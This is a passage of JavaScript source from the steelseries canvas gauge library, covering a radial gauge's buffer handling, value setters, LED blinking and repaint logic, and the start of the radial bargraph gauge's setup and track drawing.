(drawBackground && thresholdVisible) { backgroundContext.save(); backgroundContext.translate(centerX, centerY); backgroundContext.rotate(rotationOffset + (threshold - minValue) * angleStep + HALF_PI); backgroundContext.translate(-centerX, -centerY); backgroundContext.drawImage(createThresholdImage(), imageWidth * 0.475, imageHeight * 0.13); backgroundContext.translate(centerX, centerY); backgroundContext.restore(); } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { if (useOdometer && drawOdo) { odoGauge = new steelseries.Odometer('', { _context: odoContext, height: size * 0.075, decimals: odometerParams.decimals, digits: (odometerParams.digits === undefined ? 5 : odometerParams.digits), valueForeColor: odometerParams.valueForeColor, valueBackColor: odometerParams.valueBackColor, decimalForeColor: odometerParams.decimalForeColor, decimalBackColor: odometerParams.decimalBackColor, font: odometerParams.font, value: value }); odoPosX = (imageWidth - odoBuffer.width) / 2; } else if (!useOdometer) { lcdBuffer = createLcdBackgroundImage(lcdWidth, lcdHeight, lcdColor); backgroundContext.drawImage(lcdBuffer, lcdPosX, lcdPosY); } } // Create pointer image in pointer buffer (contentBuffer) if (drawPointer) { drawPointerImage(pointerContext, imageWidth, pointerType, pointerColor, backgroundColor.labelColor); } // Create foreground in foreground buffer (foregroundBuffer) if (drawForeground && foregroundVisible) { var knobVisible = (pointerType.type === 'type15' || pointerType.type === 'type16' ? false : true); drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, knobVisible, knobType, knobStyle, gaugeType); } // Create the trend indicator buffers if (drawTrend && trendVisible) { trendUpBuffer = createTrendIndicator(trendSize, steelseries.TrendState.UP, trendColors); trendSteadyBuffer = createTrendIndicator(trendSize, steelseries.TrendState.STEADY, trendColors); trendDownBuffer = createTrendIndicator(trendSize, steelseries.TrendState.DOWN, trendColors); trendOffBuffer = createTrendIndicator(trendSize, steelseries.TrendState.OFF, trendColors); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetLed = (undefined === buffers.led ? false : buffers.led); var resetUserLed = (undefined === buffers.userLed ? false : buffers.userLed); var resetPointer = (undefined === buffers.pointer ? false : buffers.pointer); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } if (resetLed) { ledBufferOn.width = Math.ceil(size * 0.093457); ledBufferOn.height = Math.ceil(size * 0.093457); ledContextOn = ledBufferOn.getContext('2d'); ledBufferOff.width = Math.ceil(size * 0.093457); ledBufferOff.height = Math.ceil(size * 0.093457); ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code ledBuffer = ledBufferOff; } if (resetUserLed) { userLedBufferOn.width = Math.ceil(size * 0.093457); userLedBufferOn.height = Math.ceil(size * 0.093457); userLedContextOn = userLedBufferOn.getContext('2d'); userLedBufferOff.width = Math.ceil(size * 0.093457); userLedBufferOff.height = Math.ceil(size * 0.093457); userLedContextOff = userLedBufferOff.getContext('2d'); // Buffer for current user led painting code userLedBuffer = userLedBufferOff; } if (resetPointer) { pointerBuffer.width = size; pointerBuffer.height = size; pointerContext = pointerBuffer.getContext('2d'); } if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; var toggleAndRepaintLed = function () { if (ledVisible) { if (ledBuffer === ledBufferOn) { ledBuffer = ledBufferOff; } else { ledBuffer = ledBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; var toggleAndRepaintUserLed = function () { if (userLedVisible) { if (userLedBuffer === userLedBufferOn) { userLedBuffer = userLedBufferOff; } else { userLedBuffer = userLedBufferOn; } if (!repainting) { repainting = true; requestAnimFrame(self.repaint); } } }; var blink = function (blinking) { if (blinking) { ledTimerId = setInterval(toggleAndRepaintLed, 1000); } else { clearInterval(ledTimerId); ledBuffer = ledBufferOff; } }; var blinkUser = function (blinking) { if (blinking) { userLedTimerId = setInterval(toggleAndRepaintUserLed, 1000); } else { clearInterval(userLedTimerId); userLedBuffer = userLedBufferOff; } }; //************************************ Public methods ************************************** this.setValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue); if (value !== targetValue) { value = targetValue; if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } this.repaint(); } return this; }; this.getValue = function () { return value; }; this.setOdoValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = (newValue < 0 ? 0 : newValue); if (odoValue !== targetValue) { odoValue = targetValue; this.repaint(); } return this; }; this.getOdoValue = function () { return odoValue; }; this.setValueAnimated = function (newValue, callback) { newValue = parseFloat(newValue); var targetValue = (newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue)), gauge = this, time; if (value !== targetValue) { if (undefined !== tween && tween.isPlaying) { tween.stop(); } time = fullScaleDeflectionTime * Math.abs(targetValue - value) / (maxValue - minValue); time = Math.max(time, fullScaleDeflectionTime / 5); tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, time); //tween = new Tween({}, '', Tween.regularEaseInOut, value, targetValue, 1); //tween = new Tween(new Object(), '', Tween.strongEaseInOut, value, targetValue, 1); tween.onMotionChanged = function (event) { value = event.target._pos; if ((value >= threshold && !ledBlinking && thresholdRising) || (value <= threshold && !ledBlinking && !thresholdRising)) { ledBlinking = true; blink(ledBlinking); if (playAlarm) { audioElement.play(); } } else if ((value < threshold && ledBlinking && thresholdRising) || (value > threshold && ledBlinking && !thresholdRising)) { ledBlinking = false; blink(ledBlinking); if (playAlarm) { audioElement.pause(); } } if (value > maxMeasuredValue) { maxMeasuredValue = value; } if (value < minMeasuredValue) { minMeasuredValue = value; } if (!repainting) { repainting = true; requestAnimFrame(gauge.repaint); } }; // do we have a callback function to process? if (callback && typeof(callback) === "function") { tween.onMotionFinished = callback; } tween.start(); } return this; }; this.resetMinMeasuredValue = function () { minMeasuredValue = value; this.repaint(); }; this.resetMaxMeasuredValue = function () { maxMeasuredValue = value; this.repaint(); return this; }; this.setMinMeasuredValueVisible = function (visible) { minMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setMaxMeasuredValueVisible = function (visible) { maxMeasuredValueVisible = !!visible; this.repaint(); return this; }; this.setMaxMeasuredValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue); maxMeasuredValue = targetValue; this.repaint(); return this; }; this.setMinMeasuredValue = function (newValue) { newValue = parseFloat(newValue); var targetValue = newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue); minMeasuredValue = targetValue; this.repaint(); return this; }; this.setTitleString = function (title) { titleString = title; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setUnitString = function (unit) { unitString = unit; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setMinValue = function (value) { minValue = parseFloat(value); resetBuffers({frame: true, background: true}); init({frame: true, background: true}); this.repaint(); return this; }; this.getMinValue = function () { return minValue; }; this.setMaxValue = function (value) { maxValue = parseFloat(value); resetBuffers({frame: true, background: true}); init({frame: true, background: true}); this.repaint(); return this; }; this.getMaxValue = function () { return maxValue; }; this.setThreshold = function (newValue) { newValue = parseFloat(newValue); var targetValue = newValue < minValue ? minValue : (newValue > maxValue ? maxValue : newValue); threshold = targetValue; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setArea = function (areaVal) { area = areaVal; resetBuffers({background: true, foreground: true}); init({background: true, foreground: true }); this.repaint(); return this; }; this.setSection = function (areaSec) { section = areaSec; resetBuffers({background: true, foreground: true}); init({background: true, foreground: true }); this.repaint(); return this; }; this.setThresholdVisible = function (visible) { thresholdVisible = !!visible; this.repaint(); return this; }; this.setThresholdRising = function (rising) { thresholdRising = !!rising; // reset existing threshold alerts ledBlinking = !ledBlinking; blink(ledBlinking); this.repaint(); return this; }; this.setLcdDecimals = function (decimals) { lcdDecimals = parseInt(decimals, 10); this.repaint(); return this; }; this.setFrameDesign = function (newFrameDesign) { resetBuffers({frame: true}); frameDesign = newFrameDesign; init({frame: true}); this.repaint(); return this; }; this.setBackgroundColor = function (newBackgroundColor) { resetBuffers({background: true, pointer: (pointerType.type === 'type2' || pointerType.type === 'type13' ? true : false) // type2 & 13 depend on background }); backgroundColor = newBackgroundColor; init({background: true, // type2 & 13 depend on background pointer: (pointerType.type === 'type2' || pointerType.type === 'type13' ? true : false) }); this.repaint(); return this; }; this.setForegroundType = function (newForegroundType) { resetBuffers({foreground: true}); foregroundType = newForegroundType; init({foreground: true}); this.repaint(); return this; }; this.setPointerType = function (newPointerType) { resetBuffers({pointer: true, foreground: true }); pointerType = newPointerType; init({pointer: true, foreground: true }); this.repaint(); return this; }; this.setPointerColor = function (newPointerColor) { resetBuffers({pointer: true}); pointerColor = newPointerColor; init({pointer: true}); this.repaint(); return this; }; this.setLedColor = function (newLedColor) { resetBuffers({led: true}); ledColor = newLedColor; init({led: true}); this.repaint(); return this; }; this.setUserLedColor = function (newLedColor) { resetBuffers({userLed: true}); userLedColor = newLedColor; init({userLed: true}); this.repaint(); return this; }; this.toggleUserLed = function () { if (userLedBuffer === userLedBufferOn) { userLedBuffer = userLedBufferOff; } else { userLedBuffer = userLedBufferOn; } this.repaint(); return this; }; this.setUserLedOnOff = function (on) { if (true === on) { userLedBuffer = userLedBufferOn; } else { userLedBuffer = userLedBufferOff; } this.repaint(); return this; }; this.blinkUserLed = function (blink) { if (blink) { if (!userLedBlinking) { blinkUser(true); userLedBlinking = true; } } else { if (userLedBlinking) { clearInterval(userLedTimerId); userLedBlinking = false; } } return this; }; this.setLedVisible = function (visible) { ledVisible = !!visible; this.repaint(); return this; }; this.setUserLedVisible = function (visible) { userLedVisible = !!visible; this.repaint(); return this; }; this.setLcdColor = function (newLcdColor) { lcdColor = newLcdColor; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setTrend = function (newValue) { trendIndicator = newValue; this.repaint(); return this; }; this.setTrendVisible = function (visible) { trendVisible = !!visible; this.repaint(); return this; }; this.setFractionalScaleDecimals = function (decimals) { fractionalScaleDecimals = parseInt(decimals, 10); resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.setLabelNumberFormat = function (format) { labelNumberFormat = format; resetBuffers({background: true}); init({background: true}); this.repaint(); return this; }; this.repaint = function () { if (!initialized) { init({frame: true, background: true, led: true, userLed: true, pointer: true, trend: true, foreground: true, odo: true}); } mainCtx.clearRect(0, 0, size, size); // Draw frame if (frameVisible) { mainCtx.drawImage(frameBuffer, 0, 0); } // Draw buffered image to visible canvas mainCtx.drawImage(backgroundBuffer, 0, 0); // Draw lcd display if (lcdVisible) { if (useOdometer) { odoGauge.setValue(odometerUseValue ? value : odoValue); mainCtx.drawImage(odoBuffer, odoPosX, odoPosY); } else { drawLcdText(mainCtx, value); } } // Draw led if (ledVisible) { mainCtx.drawImage(ledBuffer, ledPosX, ledPosY); } // Draw user led if (userLedVisible) { mainCtx.drawImage(userLedBuffer, userLedPosX, userLedPosY); } // Draw the trend indicator if (trendVisible) { switch (trendIndicator.state) { case 'up': mainCtx.drawImage(trendUpBuffer, trendPosX, trendPosY); break; case 'steady': mainCtx.drawImage(trendSteadyBuffer, trendPosX, trendPosY); break; case 'down': mainCtx.drawImage(trendDownBuffer, trendPosX, trendPosY); break; case 'off': mainCtx.drawImage(trendOffBuffer, trendPosX, trendPosY); break; } } // Draw min measured value indicator if (minMeasuredValueVisible) { mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(rotationOffset + HALF_PI + (minMeasuredValue - minValue) * angleStep); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(minMeasuredValueBuffer, mainCtx.canvas.width * 0.4865, mainCtx.canvas.height * 0.105); mainCtx.restore(); } // Draw max measured value indicator if (maxMeasuredValueVisible) { mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(rotationOffset + HALF_PI + (maxMeasuredValue - minValue) * angleStep); mainCtx.translate(-centerX, -centerY); mainCtx.drawImage(maxMeasuredValueBuffer, mainCtx.canvas.width * 0.4865, mainCtx.canvas.height * 0.105); mainCtx.restore(); } angle = rotationOffset + HALF_PI + (value - minValue) * angleStep; // Define rotation center mainCtx.save(); mainCtx.translate(centerX, centerY); mainCtx.rotate(angle); mainCtx.translate(-centerX, -centerY); // Set the pointer shadow params mainCtx.shadowColor = 'rgba(0, 0, 0, 0.8)'; mainCtx.shadowOffsetX = mainCtx.shadowOffsetY = shadowOffset; mainCtx.shadowBlur = shadowOffset * 2; // Draw the pointer mainCtx.drawImage(pointerBuffer, 0, 0); // Undo the translations & shadow settings mainCtx.restore(); // Draw foreground if (foregroundVisible) { mainCtx.drawImage(foregroundBuffer, 0, 0); } repainting = false; }; // Visualize the component this.repaint(); return this; }; var radialBargraph = function (canvas, parameters) { parameters = parameters || {}; var gaugeType = (undefined === parameters.gaugeType ? steelseries.GaugeType.TYPE4 : parameters.gaugeType), size = (undefined === parameters.size ? 0 : parameters.size), minValue = (undefined === parameters.minValue ? 0 : parameters.minValue), maxValue = (undefined === parameters.maxValue ? (minValue + 100) : parameters.maxValue), niceScale = (undefined === parameters.niceScale ? true : parameters.niceScale), threshold = (undefined === parameters.threshold ? (maxValue - minValue) / 2 + minValue: parameters.threshold), thresholdRising = (undefined === parameters.thresholdRising ? true : parameters.thresholdRising), section = (undefined === parameters.section ? null : parameters.section), useSectionColors = (undefined === parameters.useSectionColors ? false : parameters.useSectionColors), titleString = (undefined === parameters.titleString ? '' : parameters.titleString), unitString = (undefined === parameters.unitString ? '' : parameters.unitString), frameDesign = (undefined === parameters.frameDesign ? steelseries.FrameDesign.METAL : parameters.frameDesign), frameVisible = (undefined === parameters.frameVisible ? true : parameters.frameVisible), backgroundColor = (undefined === parameters.backgroundColor ? steelseries.BackgroundColor.DARK_GRAY : parameters.backgroundColor), backgroundVisible = (undefined === parameters.backgroundVisible ? true : parameters.backgroundVisible), valueColor = (undefined === parameters.valueColor ? steelseries.ColorDef.RED : parameters.valueColor), lcdColor = (undefined === parameters.lcdColor ? steelseries.LcdColor.STANDARD : parameters.lcdColor), lcdVisible = (undefined === parameters.lcdVisible ? true : parameters.lcdVisible), lcdDecimals = (undefined === parameters.lcdDecimals ? 2 : parameters.lcdDecimals), digitalFont = (undefined === parameters.digitalFont ? false : parameters.digitalFont), fractionalScaleDecimals = (undefined === parameters.fractionalScaleDecimals ? 1 : parameters.fractionalScaleDecimals), customLayer = (undefined === parameters.customLayer ? null : parameters.customLayer), ledColor = (undefined === parameters.ledColor ? steelseries.LedColor.RED_LED : parameters.ledColor), ledVisible = (undefined === parameters.ledVisible ? true : parameters.ledVisible), userLedColor = (undefined === parameters.userLedColor ? steelseries.LedColor.GREEN_LED : parameters.userLedColor), userLedVisible = (undefined === parameters.userLedVisible ? false : parameters.userLedVisible), labelNumberFormat = (undefined === parameters.labelNumberFormat ? steelseries.LabelNumberFormat.STANDARD : parameters.labelNumberFormat), foregroundType = (undefined === parameters.foregroundType ? steelseries.ForegroundType.TYPE1 : parameters.foregroundType), foregroundVisible = (undefined === parameters.foregroundVisible ? true : parameters.foregroundVisible), playAlarm = (undefined === parameters.playAlarm ? false : parameters.playAlarm), alarmSound = (undefined === parameters.alarmSound ? false : parameters.alarmSound), valueGradient = (undefined === parameters.valueGradient ? null : parameters.valueGradient), useValueGradient = (undefined === parameters.useValueGradient ? false : parameters.useValueGradient), tickLabelOrientation = (undefined === parameters.tickLabelOrientation ? (gaugeType === steelseries.GaugeType.TYPE1 ? steelseries.TickLabelOrientation.TANGENT : steelseries.TickLabelOrientation.NORMAL) : parameters.tickLabelOrientation), trendVisible = (undefined === parameters.trendVisible ? false : parameters.trendVisible), trendColors = (undefined === parameters.trendColors ? [steelseries.LedColor.RED_LED, steelseries.LedColor.GREEN_LED, steelseries.LedColor.CYAN_LED] : parameters.trendColors), fullScaleDeflectionTime = (undefined === parameters.fullScaleDeflectionTime ? 2.5 : parameters.fullScaleDeflectionTime); // Get the canvas context and clear it var mainCtx = getCanvasContext(canvas); // Has a size been specified? if (size === 0) { size = Math.min(mainCtx.canvas.width, mainCtx.canvas.height); } // Set the size - also clears the canvas mainCtx.canvas.width = size; mainCtx.canvas.height = size; // Create audio tag for alarm sound if (playAlarm && alarmSound !== false) { var audioElement = doc.createElement('audio'); audioElement.setAttribute('src', alarmSound); audioElement.setAttribute('preload', 'auto'); } var value = minValue; var range = maxValue - minValue; var ledBlinking = false; var ledTimerId = 0; var userLedBlinking = false; var userLedTimerId = 0; var tween; var self = this; var repainting = false; // GaugeType specific private variables var freeAreaAngle; var rotationOffset; var bargraphOffset; var tickmarkOffset; var angleRange; var degAngleRange; var angleStep; var angle; var sectionAngles = []; var isSectionsVisible = false; var isGradientVisible = false; var imageWidth = size; var imageHeight = size; var centerX = imageWidth / 2; var centerY = imageHeight / 2; // Misc var lcdFontHeight = Math.floor(imageWidth / 10); var stdFont = lcdFontHeight + 'px ' + stdFontName; var lcdFont = lcdFontHeight + 'px ' + lcdFontName; var lcdHeight = imageHeight * 0.13; var lcdWidth = imageWidth * 0.4; var lcdPosX = (imageWidth - lcdWidth) / 2; var lcdPosY = imageHeight / 2 - lcdHeight / 2; // Constants var ACTIVE_LED_POS_X = imageWidth * 0.116822; var ACTIVE_LED_POS_Y = imageWidth * 0.485981; var LED_SIZE = Math.ceil(size * 0.093457); //var LED_POS_X = imageWidth * 0.453271; var LED_POS_X = imageWidth * 0.53; var LED_POS_Y = imageHeight * 0.61; var USER_LED_POS_X = gaugeType === steelseries.GaugeType.TYPE3 ? 0.7 * imageWidth : centerX - LED_SIZE / 2; var USER_LED_POS_Y = gaugeType === steelseries.GaugeType.TYPE3 ? 0.61 * imageHeight : 0.75 * imageHeight; var trendIndicator = steelseries.TrendState.OFF; var trendSize = size * 0.06; var trendPosX = size * 0.38; var trendPosY = size * 0.57; switch (gaugeType.type) { case 'type1': freeAreaAngle = 0; rotationOffset = PI; bargraphOffset = 0; tickmarkOffset = HALF_PI; angleRange = HALF_PI; degAngleRange = angleRange * DEG_FACTOR; angleStep = angleRange / range; break; case 'type2': freeAreaAngle = 0; rotationOffset = PI; bargraphOffset = 0; tickmarkOffset = HALF_PI; angleRange = PI; degAngleRange = angleRange * DEG_FACTOR; angleStep = angleRange / range; break; case 'type3': freeAreaAngle = 0; rotationOffset = HALF_PI; bargraphOffset = -HALF_PI; tickmarkOffset = 0; angleRange = 1.5 * PI; degAngleRange = angleRange * DEG_FACTOR; angleStep = angleRange / range; break; case 'type4': /* falls through */ default: freeAreaAngle = 60 * RAD_FACTOR; rotationOffset = HALF_PI + (freeAreaAngle / 2); bargraphOffset = -TWO_PI / 6; tickmarkOffset = 0; angleRange = TWO_PI - freeAreaAngle; degAngleRange = angleRange * DEG_FACTOR; angleStep = angleRange / range; break; } // Buffer for the frame var frameBuffer = createBuffer(size, size); var frameContext = frameBuffer.getContext('2d'); // Buffer for static background painting code var backgroundBuffer = createBuffer(size, size); var backgroundContext = backgroundBuffer.getContext('2d'); var lcdBuffer; // Buffer for active bargraph led var activeLedBuffer = createBuffer(Math.ceil(size * 0.060747), Math.ceil(size * 0.023364)); var activeLedContext = activeLedBuffer.getContext('2d'); // Buffer for led on painting code var ledBufferOn = createBuffer(LED_SIZE, LED_SIZE); var ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code var ledBufferOff = createBuffer(LED_SIZE, LED_SIZE); var ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code var ledBuffer = ledBufferOff; // Buffer for user led on painting code var userLedBufferOn = createBuffer(LED_SIZE, LED_SIZE); var userLedContextOn = userLedBufferOn.getContext('2d'); // Buffer for user led off painting code var userLedBufferOff = createBuffer(LED_SIZE, LED_SIZE); var userLedContextOff = userLedBufferOff.getContext('2d'); // Buffer for current user led painting code var userLedBuffer = userLedBufferOff; // Buffer for the background of the led var ledBackground; // Buffer for static foreground painting code var foregroundBuffer = createBuffer(size, size); var foregroundContext = foregroundBuffer.getContext('2d'); // Buffers for trend indicators var trendUpBuffer, trendSteadyBuffer, trendDownBuffer, trendOffBuffer; var initialized = false; // Tickmark specific private variables var niceMinValue = minValue; var niceMaxValue = maxValue; var niceRange = maxValue - minValue; range = niceMaxValue - niceMinValue; var minorTickSpacing = 0; var majorTickSpacing = 0; var maxNoOfMinorTicks = 10; var maxNoOfMajorTicks = 10; // Method to calculate nice values for min, max and range for the tickmarks var calculate = function calculate() { if (niceScale) { niceRange = calcNiceNumber(maxValue - minValue, false); majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); niceMinValue = Math.floor(minValue / majorTickSpacing) * majorTickSpacing; niceMaxValue = Math.ceil(maxValue / majorTickSpacing) * majorTickSpacing; minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); minValue = niceMinValue; maxValue = niceMaxValue; range = maxValue - minValue; } else { niceRange = (maxValue - minValue); niceMinValue = minValue; niceMaxValue = maxValue; range = niceRange; //minorTickSpacing = 1; //majorTickSpacing = 10; majorTickSpacing = calcNiceNumber(niceRange / (maxNoOfMajorTicks - 1), true); minorTickSpacing = calcNiceNumber(majorTickSpacing / (maxNoOfMinorTicks - 1), true); } switch (gaugeType.type) { case 'type1': freeAreaAngle = 0; rotationOffset = PI; tickmarkOffset = HALF_PI; angleRange = HALF_PI; angleStep = angleRange / range; break; case 'type2': freeAreaAngle = 0; rotationOffset = PI; tickmarkOffset = HALF_PI; angleRange = PI; angleStep = angleRange / range; break; case 'type3': freeAreaAngle = 0; rotationOffset = HALF_PI; tickmarkOffset = 0; angleRange = 1.5 * PI; angleStep = angleRange / range; break; case 'type4': // fall through /* falls through */ default: freeAreaAngle = 60 * RAD_FACTOR; rotationOffset = HALF_PI + (freeAreaAngle / 2); tickmarkOffset = 0; angleRange = TWO_PI - freeAreaAngle; angleStep = angleRange / range; break; } angle = rotationOffset + (value - minValue) * angleStep; }; //********************************* Private methods ********************************* // Draw all static painting code to background var init = function (parameters) { parameters = parameters || {}; var drawFrame = (undefined === parameters.frame ? false : parameters.frame); var drawBackground = (undefined === parameters.background ? false : parameters.background); var drawLed = (undefined === parameters.led ? false : parameters.led); var drawUserLed = (undefined === parameters.userLed ? false : parameters.userLed); var drawValue = (undefined === parameters.value ? false : parameters.value); var drawForeground = (undefined === parameters.foreground ? false : parameters.foreground); var drawTrend = (undefined === parameters.trend ? false : parameters.trend); initialized = true; calculate(); // Create frame in frame buffer (frameBuffer) if (drawFrame && frameVisible) { drawRadialFrameImage(frameContext, frameDesign, centerX, centerY, imageWidth, imageHeight); } // Create background in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawRadialBackgroundImage(backgroundContext, backgroundColor, centerX, centerY, imageWidth, imageHeight); // Create custom layer in background buffer (backgroundBuffer) drawRadialCustomImage(backgroundContext, customLayer, centerX, centerY, imageWidth, imageHeight); } if (drawLed) { // Draw LED ON in ledBuffer_ON ledContextOn.drawImage(createLedImage(LED_SIZE, 1, ledColor), 0, 0); // Draw LED OFF in ledBuffer_OFF ledContextOff.drawImage(createLedImage(LED_SIZE, 0, ledColor), 0, 0); // Buffer the background of the led for blinking ledBackground = backgroundContext.getImageData(LED_POS_X, LED_POS_Y, LED_SIZE, LED_SIZE); } if (drawUserLed) { // Draw user LED ON in userLedBuffer_ON userLedContextOn.drawImage(createLedImage(Math.ceil(LED_SIZE), 1, userLedColor), 0, 0); // Draw user LED OFF in userLedBuffer_OFF userLedContextOff.drawImage(createLedImage(Math.ceil(LED_SIZE), 0, userLedColor), 0, 0); } if (drawBackground) { // Create bargraphtrack in background buffer (backgroundBuffer) drawBargraphTrackImage(backgroundContext); } // Create tickmarks in background buffer (backgroundBuffer) if (drawBackground && backgroundVisible) { drawTickmarksImage(backgroundContext, labelNumberFormat); // Create title in background buffer (backgroundBuffer) drawTitleImage(backgroundContext, imageWidth, imageHeight, titleString, unitString, backgroundColor, true, true); } // Create lcd background if selected in background buffer (backgroundBuffer) if (drawBackground && lcdVisible) { lcdBuffer = createLcdBackgroundImage(lcdWidth, lcdHeight, lcdColor); backgroundContext.drawImage(lcdBuffer, lcdPosX, lcdPosY); } // Convert Section values into angles isSectionsVisible = false; if (useSectionColors && null !== section && 0 < section.length) { isSectionsVisible = true; var sectionIndex = section.length; sectionAngles = []; do { sectionIndex--; sectionAngles.push({start: (((section[sectionIndex].start + Math.abs(minValue)) / (maxValue - minValue)) * degAngleRange), stop: (((section[sectionIndex].stop + Math.abs(minValue)) / (maxValue - minValue)) * degAngleRange), color: customColorDef(section[sectionIndex].color)}); } while (0 < sectionIndex); } // Use a gradient for the valueColor? isGradientVisible = false; if (useValueGradient && valueGradient !== null) { // force section colors off! isSectionsVisible = false; isGradientVisible = true; } // Create an image of an active led in active led buffer (activeLedBuffer) if (drawValue) { drawActiveLed(activeLedContext, valueColor); } // Create foreground in foreground buffer (foregroundBuffer) if (drawForeground && foregroundVisible) { drawRadialForegroundImage(foregroundContext, foregroundType, imageWidth, imageHeight, false); } // Create the trend indicator buffers if (drawTrend && trendVisible) { trendUpBuffer = createTrendIndicator(trendSize, steelseries.TrendState.UP, trendColors); trendSteadyBuffer = createTrendIndicator(trendSize, steelseries.TrendState.STEADY, trendColors); trendDownBuffer = createTrendIndicator(trendSize, steelseries.TrendState.DOWN, trendColors); trendOffBuffer = createTrendIndicator(trendSize, steelseries.TrendState.OFF, trendColors); } }; var resetBuffers = function (buffers) { buffers = buffers || {}; var resetFrame = (undefined === buffers.frame ? false : buffers.frame); var resetBackground = (undefined === buffers.background ? false : buffers.background); var resetLed = (undefined === buffers.led ? false : buffers.led); var resetUserLed = (undefined === buffers.userLed ? false : buffers.userLed); var resetValue = (undefined === buffers.value ? false : buffers.value); var resetForeground = (undefined === buffers.foreground ? false : buffers.foreground); // Buffer for the frame if (resetFrame) { frameBuffer.width = size; frameBuffer.height = size; frameContext = frameBuffer.getContext('2d'); } // Buffer for static background painting code if (resetBackground) { backgroundBuffer.width = size; backgroundBuffer.height = size; backgroundContext = backgroundBuffer.getContext('2d'); } // Buffer for active bargraph led if (resetValue) { activeLedBuffer.width = Math.ceil(size * 0.060747); activeLedBuffer.height = Math.ceil(size * 0.023364); activeLedContext = activeLedBuffer.getContext('2d'); } if (resetLed) { // Buffer for led on painting code ledBufferOn.width = Math.ceil(LED_SIZE); ledBufferOn.height = Math.ceil(LED_SIZE); ledContextOn = ledBufferOn.getContext('2d'); // Buffer for led off painting code ledBufferOff.width = Math.ceil(LED_SIZE); ledBufferOff.height = Math.ceil(LED_SIZE); ledContextOff = ledBufferOff.getContext('2d'); // Buffer for current led painting code ledBuffer = ledBufferOff; } if (resetUserLed) { userLedBufferOn.width = Math.ceil(LED_SIZE); userLedBufferOn.height = Math.ceil(LED_SIZE); userLedContextOn = userLedBufferOn.getContext('2d'); userLedBufferOff.width = Math.ceil(LED_SIZE); userLedBufferOff.height = Math.ceil(LED_SIZE); userLedContextOff = userLedBufferOff.getContext('2d'); // Buffer for current user led painting code userLedBuffer = userLedBufferOff; } // Buffer for static foreground painting code if (resetForeground) { foregroundBuffer.width = size; foregroundBuffer.height = size; foregroundContext = foregroundBuffer.getContext('2d'); } }; var drawBargraphTrackImage = function (ctx) { ctx.save(); // Bargraphtrack // Frame ctx.save(); ctx.lineWidth = size * 0.085; ctx.beginPath(); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset - 4 * RAD_FACTOR); ctx.translate(-centerX, -centerY); ctx.arc(centerX, centerY, imageWidth * 0.355140, 0, angleRange + 8 * RAD_FACTOR, false); ctx.rotate(-rotationOffset); var ledTrackFrameGradient = ctx.createLinearGradient(0, 0.107476 * imageHeight, 0, 0.897195 * imageHeight); ledTrackFrameGradient.addColorStop(0, '#000000'); ledTrackFrameGradient.addColorStop(0.22, '#333333'); ledTrackFrameGradient.addColorStop(0.76, '#333333'); ledTrackFrameGradient.addColorStop(1, '#cccccc'); ctx.strokeStyle = ledTrackFrameGradient; ctx.stroke(); ctx.restore(); // Main ctx.save(); ctx.lineWidth = size * 0.075; ctx.beginPath(); ctx.translate(centerX, centerY); ctx.rotate(rotationOffset - 4 * RAD_FACTOR); ctx.translate(-centerX, -centerY); ctx.arc(centerX, centerY, imageWidth * 0.355140, 0, angleRange + 8 * RAD_FACTOR, false); ctx.rotate(-rotationOffset); var ledTrackMainGradient = ctx.createLinearGradient(0, 0.112149 * imageHeight, 0, 0.892523 * imageHeight); ledTrackMainGradient.addColorStop(0, '#111111'); ledTrackMainGradient.addColorStop(1, '#333333'); ctx.strokeStyle = ledTrackMainGradient; ctx.stroke(); ctx.restore(); // Draw inactive leds var ledCenterX = (imageWidth * 0.116822 + imageWidth * 0.060747) / 2; var ledCenterY = (imageWidth * 0.485981 + imageWidth * 0.023364) / 2; var ledOffGradient = ctx.createRadialGradient(ledCenterX, ledCenterY, 0, ledCenterX, ledCenterY, 0.030373 * imageWidth); ledOffGradient.addColorStop(0, '#3c3c3c'); ledOffGradient.addColorStop(1, '#323232'); var angle = 0; for (angle = 0; angle <= degAngleRange; angle += 5) { ctx.save(); 